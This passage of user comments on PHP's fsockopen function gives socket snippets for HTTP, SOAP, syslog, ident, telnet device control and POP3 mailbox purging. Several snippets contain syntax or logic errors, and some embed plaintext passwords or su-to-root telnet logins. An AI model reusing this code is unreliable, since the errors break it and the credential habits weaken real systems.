       return 0;
   }

   $old_error_handler = set_error_handler("userErrorHandler");

   $time = Ping();
   echo "Time=$time<br>";
   echo "Done Checking<br>";
?>

Response Will be:
Opening ProxyServer 116.155.95.163
In Error Handler
Failed to open ProxyServer 116.155.95.163 errno=10060,errstr=A connection attempt failed
because the connected party did not properly respond after a period of time, or
established connection failed because connected host has failed to respond.
Time=0
Done Checking

Thanks to everyone for your source code examples.
AndE
yadiutama_skom at yahoo dot com
07-Apr-2006 05:09
This is a simple example for sending and retrieve SOAP message by using fsockopen:

<?php
$fp = @fsockopen("www.example.com", 80, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br />\n";
} else {

$soap_out  = "POST /example/exampleServer.php HTTP/1.0\r\n";
$soap_out .= "Host: www.example.com\r\n";
$soap_out .= "User-Agent: MySOAPisOKGuys \r\n";
$soap_out .= "Content-Type: text/xml; charset=ISO-8859-1\r\n";
$soap_out .= "Content-Length: 512\r\n\r\n";
$soap_out .= '<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns5973:contact xmlns:ns5973="http://tempuri.org">
<__numeric_0><id  xsi:nil="true"/></__numeric_0>
</ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

   fputs($fp, $soap_out, strlen($soap_out));  // send request SOAP

   echo "<xmp>".$out."</xmp>";

   while (!feof($fp)) {
       $soap_in . = fgets($fp, 100);
   }

   echo "<xmp>$soap_in</xmp>";  //display response SOAP

   fclose($fp);
}
?>

And this is an example result:

POST /soap/example/contactServer.php HTTP/1.0
Host: www.example.com
User-Agent: MySOAPisOKGuys
Content-Type: text/xml; charset=ISO-8859-1
Content-Length: 512
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns5973:contact
xmlns:ns5973="http://tempuri.org"><__numeric_0><id
xsi:nil="true"/></__numeric_0></ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

HTTP/1.1 200 OK
Date: Thu, 06 Apr 2006 07:03:26 GMT
Server: Apache/1.3.23 (Win32)
X-Powered-By: PHP/4.1.1
X-SOAP-Server: MySOAPisOKGuys
Content-Length: 625
Connection: close
Content-Type: text/xml; charset=ISO-8859-1
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns1:contactResponse
xmlns:ns1="http://tempuri.org">
<return xsi:type="xsd:string">
</return>
</ns1:contactResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Duukkis
27-Feb-2006 09:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
       // get the necessary data
       $file_name = $_FILES['userfile']['name'];    // the file
       $tmp_name = $_FILES['userfile']['tmp_name'];    // the file
       $content_type = $_FILES['userfile']['type'];    // the file mime type

       srand((double)microtime()*1000000);
       $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

       // Build the header
       $header = "POST $remote_url HTTP/1.0\r\n";
       $header .= "Host: $remote_server\r\n";
       $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
       // attach post vars
       foreach($_POST AS $index => $value){
           $data .="--$boundary\r\n";
           $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
           $data .= "\r\n".$value."\r\n";
           $data .="--$boundary\r\n";
       }
       // and attach the file
       $data .= "--$boundary\r\n";
       $content_file = join("", file($tmp_name));
       $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
       $data .= "Content-Type: $content_type\r\n\r\n";
       $data .= "".$content_file."\r\n";
       $data .="--$boundary--\r\n";
       $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
       $fp = fsockopen($remote_server, 80);
       // then just
       fputs($fp, $header.$data);
       fclose($fp);
?>
18-Feb-2006 04:49
Dante
28-Dec-2005 06:42
If you're using code like the manual's example, it is a good idea to keep using HTTP/1.0 instead of changing it to HTTP/1.1. Using HTTP/1.1 with fsockopen sometimes results in junk before and after the body content (but not in the headers).

This is not actually true, if you are using HTTP/1.1, you will most likely be receiving chunked data. The 'junk' that you are seeing is probably the size of the chunks in hex.
ittasks at gmail dot com
16-Feb-2006 08:02
login to the site prior to downloading page:

In some wierd situations site security is based on
 ASPSESSION ID and where could be a
 login asp  script in one place, and the actual page with
information in another place.

for such cases you have to submit ( POST ) you login and
password first, when grab ASP session (and also some
cookies from response, and when use that ASP SESSION in
second request to the actual page: (i took some parts of
codes from other ppl)
<?php
//submit login form: (url, post data, extra headers (optional))
//do not put  http into URL, just domain name
$mycookies = GetCookies("www.yourdomain.com/login.login.asp",
"password=12345&username=your_username&submit=LOGIN&set=Y","");
//some extra params if you need them
// echo "Cookies:<br><pre>\n".$mycookies."\n</pre>";
//$body =PostPage("www.yourdomain.com/coolpage.asp",
//"action=zzz",$mycookies);
//echo "<br>Body:<br>\n".$body."\n";
//im using get page - so it goes like this:
$opts = array('http'=>array('method'=>"GET",
'header'=>"Accept-language: en\r\nCookie: ".$mycookies."\r\n" ));
$context = stream_context_create($opts);
$fp = fopen('http://www.yourdomain.com/coolpage.asp?p1=1&p2=23', 'r', false, $context);
fpassthru($fp);
$html = fread($fp, 1000000);
fclose($fp);
echo $html;

function PostPage($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $path='/'.(implode('/',$path));
$post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-";
$post.="urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   for($a=0,$r='';!$a;){
       $b=fread($h,8192);
       $r.=$b;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   return $r;
}
function GetCookies($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $crlf = "\r\n";
   $path='/'.(implode('/',$path));
   $post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   $r="";
   for($a=0;!$a;){
       $b=fread($h,512);
       echo $b;
       $r.=$b;
       $gotSession=strpos($r,"ASPSESSION");
   if($gotSession)
     if(strpos($r, $crlf . $crlf,$gotSession)>0) break;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   $arr = split("Set-Cookie:",$r);
   $AllCookies="";$count=1;
   while ($count < count($arr)) {
$AllCookies.=substr($arr[$count].";",
0,strpos($arr[$count].";",";")+1);

 $count++;}
   return $AllCookies;

}
 ?>

It's not optimized , but i hope someone might find it usefull.
Best Regards
DRY_GIN
na8ur
16-Jan-2006 08:41
if you send some header information to any server eg. sending cookie data, don't forget to have \r\n\r\n (double new line) at the end of your header data.
davem
06-Jan-2006 01:25
For data returned as "chunked" you cannot simply loop through the file with fgets and return a correct response.

This function has worked for me, any improvements welcome:

//parse response text out of chunked response
function ParseChunked($response)
{
   $response = explode("\r\n",$response);
   for($i=0; $i<count($response); $i++)
       if(hexdec($response[$i])==strlen($response[$i+1]))
         $return.=$response[++$i];
   return $return;
}
Dante
28-Dec-2005 04:42
If you're using code like the manual's example, it is a good idea to keep using HTTP/1.0 instead of changing it to HTTP/1.1. Using HTTP/1.1 with fsockopen sometimes results in junk before and after the body content (but not in the headers).
SysCo/al - developer [at] sysco[dot] ch
24-Dec-2005 09:41
We have implemented a Syslog class in PHP following the RFC 3164 rules. Using this class, it is possible to send syslog messages to external servers.
We use this class for example to log information, to synchronize some processes or to launch external "threads".

Class abstract, full class implementation can be found at http://developer.sysco.ch/php/

<?php

   // (...)

   class Syslog
   {
       var $_facility; // 0-23
       var $_severity; // 0-7
       var $_hostname; // no embedded space, no domain name, only a-z A-Z 0-9 and other authorized characters
       var $_fqdn;
       var $_ip_from;
       var $_process;
       var $_content;
       var $_msg;
       var $_server;  // Syslog destination server
       var $_port;    // Standard syslog port is 514
       var $_timeout;  // Timeout of the UDP connection (in seconds)

       // (...)

       function Send($server = "", $content = "", $timeout = 0)
       {
           // (...)

           $actualtime = time();
           $month      = date("M", $actualtime);
           $day        = substr("  ".date("j", $actualtime), -2);
           $hhmmss    = date("H:i:s", $actualtime);
           $timestamp  = $month." ".$day." ".$hhmmss;

           $pri    = "<".($this->_facility*8 + $this->_severity).">";
           $header = $timestamp." ".$this->_hostname;

           // (...)

           $msg = $this->_process.": ".$this->_fqdn." ".$this->_ip_from." ".$this->_content;

           $message = substr($pri.$header." ".$msg, 0, 1024);

           $fp = fsockopen("udp://".$this->_server, $this->_port, $errno, $errstr, $this->_timeout);
           if ($fp)
           {
               fwrite($fp, $message);
               fclose($fp);
               $result = $message;
           }
           else
           {
               $result = "ERROR: $errno - $errstr";
           }
           return $result;
       }

   // (...)
?>

Example
<?php
   require_once('syslog.php');
   $syslog = new Syslog();
   $syslog->Send('192.168.0.12', 'My first PHP syslog message');
?>
sivann at cs dot ntua dot gr
09-Dec-2005 11:40
This is an ident request example. If your client is running identd your real username will be known by the server.
It is also usefull to identify people bypassing IP ACLs by using SOCKS proxy and dynamic IP forwarding. If the socks proxy server uses ident (most unices do) you will know his real username.
For more information see RFC1413
Timeout of 2 seconds in the example may not be enough.

<?
error_reporting(E_ALL);
$remip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
$remport = $HTTP_SERVER_VARS['REMOTE_PORT'];

ob_implicit_flush();
$fp = fsockopen($remip, 113, $errno, $errstr, 2);
if (!$fp) {
   echo "$errstr ($errno)<br>\n";
   exit;
}
else {
   $out = "$remport, 80\r\n";
   fwrite($fp, $out);
   $answer=fgets($fp, 128);
}
fclose($fp);
$ansparts=explode(":",$answer);
$user=chop($ansparts[3]);
echo "You are $user@$remip:$remport";

?>
Kiki_EF
27-Oct-2005 03:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
   if (! is_numeric($uin))
       return false;
   $proxy_name = 'proxy.mydomain.de';
   $proxy_port = 8080;
   $proxy_user = "";
   $proxy_pass = "";
   $proxy_cont = '';
   $request_url = "http://status.icq.com/online.gif?icq=$uin";

   $proxy_fp = fsockopen($proxy_name, $proxy_port);
   if (!$proxy_fp)
       return false;
   fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
   fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
   while(!feof($proxy_fp)){
       $proxy_cont .= fread($proxy_fp,4096);
   }
   fclose($proxy_fp);
   $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
   if (strstr($proxy_cont, 'online1'))
       return 'online';
   if (strstr($proxy_cont, 'online0'))
       return 'offline';
   if (strstr($proxy_cont, 'online2'))
       return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>
Based on http://de2.php.net/manual/de/function.fopen.php#53090
Thanx
alex at renesource dot lv
29-Sep-2005 03:52
Setting up SSL connection to server that requires client certificate (https).

Function fsockopen() has 5 arguments only in PHP5. There is sixth undocumented argument in PHP4 fsockopen() function . Therefore code in note 'alex at renesource dot lv 16-Mar-2004 09:07' will work with PHP4 only.

You can use the following code to post request to HTTPS server that requires client certificate to establish SSL connection:

<?php
# working vars
$host = 'ssl.host.com';
$service_uri = '/some/service/address';
$local_cert_path = '/path/to/keys.pem';
$local_cert_passphrase = 'pass_to_access_keys';
$request_data = '<some><xml>data</xml></some>';

# array with the options to create stream context
$opts = Array();

# compose HTTP request header
$header = "Host: $host\\r\\n";
$header .= "User-Agent: PHP Script\\r\\n";
$header .= "Content-Type: text/xml\\r\\n";
$header .= "Content-Length: ".strlen($request_data)."\\r\\n";
$header .= "Connection: close";

# define context options for HTTP request (use 'http' index, NOT 'httpS')
$opts['http']['method'] = 'POST';
$opts['http']['header'] = $header;
$opts['http']['content'] = $request_data;

# define context options for SSL transport
$opts['ssl']['local_cert'] = $local_cert_path;
$opts['ssl']['passphrase'] = $local_cert_passphrase;

# create stream context
$context = stream_context_create($opts);

# POST request and get response
$filename = 'https://'.$host.$service_uri;
$content = file($filename, false, $context);
$response_data = implode('', $content);

?>
robin at pozytron dot com
22-Aug-2005 06:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
l0gic at l0gic dot net
13-Aug-2005 02:54
After a little experimenting, I worked out how to reliably handle chunked HTTP/1.1 data. The following code assumes a connection has already been opened as $fp, and the response header has been read into the array $header. A loop is used to read data until the entire chunk length has been read, due to fsockopen()'s tendency to stop reading when a new packet is received. Please note that I have not put this code through thorough testing; this is merely to demonstrate the methodology.

if (isset($header['Transfer-Encoding'])) {

   // Read the length of the current chunk
   while ($chunk_length = hexdec(fgets($fp))) {

       // Initialize counter and buffer
       $read_length = 0;
       $data = NULL;

       // Read $chunk_length bytes of data
       while ($read_length < $chunk_length) {

           $data .= fread($fp, $chunk_length - $read_length);
           $read_length = strlen($data);

           }

       // Output the data read
       echo $data;

       }
}
dna at revold-design dot de
10-Aug-2005 08:04
Something useful for ICQ:
<?php
$icquin = "197829943";
function GetICQ($uin) {
   if (!is_numeric($uin)) return FALSE;

   $fp = fsockopen('status.icq.com', 80, &$errno, &$errstr, 8);
   if (!$fp) {
   return "N/A";
       }
   else {

   $request = "HEAD /online.gif?icq=$uin HTTP/1.0\r\n"
             ."Host: web.icq.com\r\n"
             ."Connection: close\r\n\r\n";
   fputs($fp, $request);

   do {
       $response = fgets($fp, 1024);
   }
   while (!feof($fp) && !stristr($response, 'Location'));

   fclose($fp);

   if (strstr($response, 'online1')) return 'Online';
   if (strstr($response, 'online0')) return 'Offline';
   if (strstr($response, 'online2')) return 'N/A';
   // N/A means, this User set the Option, his Online
   // Status cannot be shown over the Internet

   return FALSE;
   }
}

echo GetICQ($icquin);
?>
Jeremy
06-Jul-2005 02:52
The only think wrong with richard burton's code as regarding apache is that
$byte != "\\r" should be
$byte == "\r"
suma at fairrank dot noadsplease dot de
31-May-2005 04:51
To retrieve a page from a HTTP server over a SSL connection (HTTPS), execute this script with an SSL enabled build of PHP, and enter your data.

$fp = pfsockopen("ssl://yourwebsite.com", 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
   fputs($fp, "GET /path/page.php  HTTP/1.1\r\n");
   fputs($fp, "Host: yourwebsite.com\r\n");
   fputs($fp, "Authorization: Basic ".base64_encode("username:password")."\r\n");
   fputs($fp, "Connection: close\r\n\r\n");
   fwrite($fp, $out);
   while (!feof($fp)) {
       echo fgets($fp, 128);
   }
   fclose($fp);
mzvarik at gmail dot com
24-May-2005 04:09
If you just want to get the page content it's better to use fopen instead of fsockopen... I did a benchmark and it's faster... depends on how big is the content, getting it using fopen can be sometimes even 2x faster.
richard dot lajaunie at cote-azur dot cci dot fr
19-May-2005 03:10
<?
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr on the same page
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com
19-Apr-2005 11:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
   $redirect=preg_replace("/location:/i","",$line);
   }
}

Then don't forget to trim($redirect) before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
nospam at cronjob dot de
17-Apr-2005 08:06
Be careful if you open a lot of sockets in one php-file!
I had a script which checked a lot of domains and opened sockets to the whois-server. Even that I closed the connections after I checked a domain (fclose), the sockets seemed to stay open. After a while (about 1000 connections) the php-script couldn't open any more sockets.
It took a while to fix this problem. I did this by writing a script which started the check-scripts with wget (or lynx). I started 5 scripts parallel and just checked 20 domains. After that new 5 scripts where opened. That helped me not to open too many sockets in one php-file because when a php-script ends, all open sockets are closed.

Example:

start.php:
<?php
ignore_user_abort(true);
for($i=0; $i<100; $i++) {
   echo $i."- "; flush();
   $exec_string = 'lynx http://domain.tld/whois.php &';
   $output = `$exec_string`;
   sleep(10);
   $exec_string = 'killall lynx';
   $output = `$exec_string`;
}
?>

whois.php:
<?php
ignore_user_abort(true);
for($i=0; $i<50; $i++) {
   fsockopen(whois.server...);
   // here you process the whois-things
}
?>

Hope this'll help some people!
ahauk at NO-SPAM dot synergynt dot net
29-Mar-2005 06:38
The following script will login to a POP3 account using the username, password and server name provided via a standard form; determine the amount of messages using a binary search; then purge all messages.

<?php
   $server = $_POST["server"];
   $user = $_POST["user"];
   $pass = $_POST["pass"];
   $count = 1;
   $low = 0;
   $mid = 0;
   $high = 100000;
   $connection = fsockopen($server, 110, $errno, $errstr, 30);

   if(!$connection) {
       print "Connect Failed: $errstr ($errno)";
   } else {
       $output = fgets($connection, 128);
       fputs($connection, "user $user\n");
       $output = fgets($connection, 128);
       fputs($connection, "pass $pass\n");
       $output = fgets($connection, 128);
       while($low < $high - 1) {
           $mid = floor(($low + $high) / 2);
           fputs($connection, "list $mid\n");
           $output = fgets($connection, 128);
           $subout = substr($output, 0, 4);
           if($subout == "+OK ") {
               $low = $mid;
               continue;
           }
           elseif($subout == "-ERR") {
                   $high = $mid;
                   continue;
           } else {
               break;
               print "An error has occurred. Please try again.";
           }
       }
       $limit = $mid - 1;
       while($count <= $limit) {
           fputs($connection, "dele $count\n");
           fgets($connection, 128);
           $count = $count + 1;
       }
       fputs($connection, "quit\n");
   }
   fclose($connection);
   print "Successfully removed $limit messages.";
?>
JMPZ
01-Mar-2005 01:04
I had a similar problem to a previous poster with terrible performance. I tried changing to HTTP 1.0 but that didn't fix it. I then removed the line:

connection: keep-alive

This fixed it. What took 13 seconds now takes 1.
redvader at yandex dot ru
25-Feb-2005 11:34
here are some fixes to code by
edwin at bitstorm dot org
they might seem silly, but still useful in some cases

<?php
 function fetchURL( $url ) {
   $url_parsed = parse_url($url);
   $host = $url_parsed["host"];
   $port = $url_parsed["port"];
   if ($port==0)
       $port = 80;
   $path = $url_parsed["path"];

   //if url is http://example.com without final "/"
   //I was getting a 400 error
   if (empty($path))
   $path="/";

   //redirection if url is in wrong format
   if (empty($host)):
   $host="www.somesite.com";
   $path="/404.shtml";
   endif;

   if ($url_parsed["query"] != "")
       $path .= "?".$url_parsed["query"];
   $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
   $fp = fsockopen($host, $port, $errno, $errstr, 30);
   fwrite($fp, $out);
   $body = false;
   while (!feof($fp)) {
   echo fgets($fp, 128);
   }
   fclose($fp);
   return $in;
}

fetchURL($address);
?>
dante at dantecubed dot com
24-Feb-2005 08:00
You may be able to speed this function up by using an IP address instead of a domain. PHP uses getHostByAddr internally in this function anyway, so you can save a step in the function process.
konrad dot meyer at gmail dot com
13-Feb-2005 05:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
   # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
   # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
   # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $path='/'.(implode('/',$path));
   $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   for($a=0,$r='';!$a;){
       $b=fread($h,8192);
       $r.=$b;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   return $r;
}
?>
edwin at bitstorm dot org
02-Dec-2004 09:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
   $url_parsed = parse_url($url);
   $host = $url_parsed["host"];
   $port = $url_parsed["port"];
   if ($port==0)
       $port = 80;
   $path = $url_parsed["path"];
   if ($url_parsed["query"] != "")
       $path .= "?".$url_parsed["query"];

   $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

   $fp = fsockopen($host, $port, $errno, $errstr, 30);

   fwrite($fp, $out);
   $body = false;
   while (!feof($fp)) {
       $s = fgets($fp, 1024);
       if ( $body )
           $in .= $s;
       if ( $s == "\r\n" )
           $body = true;
   }

   fclose($fp);

   return $in;
}
?>
Simon Riget at paragi.com
18-Nov-2004 12:25
Ping from PHP script. (Without system call)

This is of cause not a real ping since there is no support for ICMP. So it can't send a packet and get it back. But the important thing is to get a response from the server, even if it is only a ICMP  error message. That way it verifies the servers existens and calculate the round trip time, which is the essential function of ping. It work well on all servers I have tried, with the echo service running.

<?
$host='www.php.com';
$timeout=2;

//Open the socket
$handle=fsockopen('ddp://'.$host, 7, $errno, $errstr, $timeout);
if (!$handle)
     echo "$errstr ($errno)<br>\r\n";
else {
   //Set read timeout
   stream_set_timeout($handle, $timeout);
   for($i=0;$i<3;$i++){
       //Time the responce
       list($usec, $sec) = explode(" ", microtime(true));
     $start=(float)$usec + (float)$sec;

       //send somthing
         $write=fwrite($handle,"echo this\n");
       if(!$write){
           echo "Error in writing to socked<br>\r\n";
           break;
       }
       echo 'Send packet to '.$host;

       //Try to read. the server will most likely respond with a "ICMP Destination Unreachable" and end the read. But that is a responce!
       fread($handle,1024);

       //Work out if we got a responce and time it
       list($usec, $sec) = explode(" ", microtime(true));
       $laptime=((float)$usec + (float)$sec)-$start;
       if($laptime>$timeout)
           echo " : No reply<br>\r\n";
       else
           echo " : Round trip = ".round($laptime,3)." s<br>\r\n";
   }
   fclose($handle);
}
?>
michiel at parse dot nl
25-Oct-2004 07:42
The following snippet allows you to retrieve the title oa page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
   $url = parse_url($url);

   if(!in_array($url['scheme'],array('','http')))
       return;

   $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
   if (!$fp)
   {
       return;
       // echo "$errstr ($errno)<br>\n";
   }
   else
   {
       fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
       $d = '';
       while (!feof($fp))
       {
           $d .= fgets ($fp,2048);

           if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
               break;
       }
       fclose ($fp);

       return $m[3];
   }
}
?>
elemental21 at hotmail dot com
08-Oct-2004 10:23
Found this php class to use telnet from here:
http://cvs.adfinis.ch/cvs.php/phpStreamcast/telnet.class.php

There's no docs and a lot of it's in french though so maybe it will help
someone to have my working code. This code is used to telnet into a
pix and execute the "shun" command.

//-------telnet.class.php usage example---------
               $telnet = new telnet;
// Next line is for logging.
//By default you need to create a folder called /log and give it the
//rights your webserver is running.
               $telnet->setLog(1,"mylog");
               $telnet->set_host("myhost.myplace.com");
//You need to set the prompt to what you know its going to be,
//then call wait_prompt...which waits for what you just set
               $telnet->set_prompt("Password: ");
               $telnet->connect();
               $telnet->wait_prompt();
               $telnet->write("mypassword");
//Have to change the prompt...in my example this is the
//prompt that a pix will change to after loggin in.
               $telnet->set_prompt("pix> ");
               $telnet->wait_prompt();
               $telnet->write("en");
               $telnet->set_prompt("Password: ");
               $telnet->wait_prompt();
               $telnet->write("enable_password");
//When you go into enable mode in a pix the prompt changes
               $telnet->set_prompt("pix# ");
               $telnet->wait_prompt();
               $telnet->write("shun " . $shun_address);
               $telnet->wait_prompt();
               $telnet->write("clear xlate");
               $telnet->wait_prompt();
               $telnet->write("write mem");
               $telnet->wait_prompt();
               $telnet->write("exit");
               $telnet->disconnect();
mikebNOSPAM at xamo dot com
30-Sep-2004 07:17
Hey, why were my comments regarding fsockopen connection timeouts taken out? I'm sure they would have been very useful to other users.

fsockopen (on FreeBSD and probably OpenBSD) will ignore the connection timeout parameter, and hang for several minutes if it can't connect for a variety of reasons (no DNS resolve, host down, extreme firewall setups). Use curl instead until a solution is found (i spent days on this issue)
bjorn (at) ahusonline dot com
21-May-2004 07:50
Modified code for telnet to work with not-so-fast connections.
The old version garbles the output and/or cuts the output before
it is finished when output is above about 100 lines.

<?php
# This is the difficult part, the Telnet header
$header1=chr(0xFF).chr(0xFB).chr(0x1F).chr(0xFF).chr(0xFB).
chr(0x20).chr(0xFF).chr(0xFB).chr(0x18).chr(0xFF).chr(0xFB).
chr(0x27).chr(0xFF).chr(0xFD).chr(0x01).chr(0xFF).chr(0xFB).
chr(0x03).chr(0xFF).chr(0xFD).chr(0x03).chr(0xFF).chr(0xFC).
chr(0x23).chr(0xFF).chr(0xFC).chr(0x24).chr(0xFF).chr(0xFA).
chr(0x1F).chr(0x00).chr(0x50).chr(0x00).chr(0x18).chr(0xFF).
chr(0xF0).chr(0xFF).chr(0xFA).chr(0x20).chr(0x00).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0x2C).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x27).chr(0x00).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x18).chr(0x00).chr(0x58).chr(0x54).
chr(0x45).chr(0x52).chr(0x4D).chr(0xFF).chr(0xF0);
$header2=chr(0xFF).chr(0xFC).chr(0x01).chr(0xFF).chr(0xFC).
chr(0x22).chr(0xFF).chr(0xFE).chr(0x05).chr(0xFF).chr(0xFC).chr(0x21);

# connecting
$fp=fsockopen("127.0.0.1",23);

# sending the Telnet header
fputs($fp,$header1);
usleep(125000);
fputs($fp,$header2);
usleep(125000);

# login
fputs($fp,"user\r");
usleep(125000);
fputs($fp,"users.pass\r");
usleep(125000);
# root looks nice
fputs($fp,"su\r");
usleep(125000); # takes some time, we had to wait
fputs($fp,"root.pass\r");

# some tests
fputs($fp,"ifconfig\r");
fputs($fp,"echo year telnet php connect works|wall\r");

# we had to wait
usleep(125000);

# show the output
do
{
   $output.=fread($fp, 80);    // read line by line, or at least small chunks
   $stat=socket_get_status($fp);
}
while($stat["unread_bytes"]);

$output = str_replace("\n", "<br>", $output);
echo $output;
fclose($fp);
?>
alex at renesource dot lv
17-Mar-2004 03:07
Set up SSL connection to server that requires client certificate:

Convert client certificate from *.pfx (pkcs12) into*.pem with openssl (if needed):

> openssl pkcs12 -in keys.pfx -out keys.pem

PHP:

<?php
$context = stream_context_create();
$result = stream_context_set_option($context, 'ssl', 'local_cert', '/path/to/keys.pem');
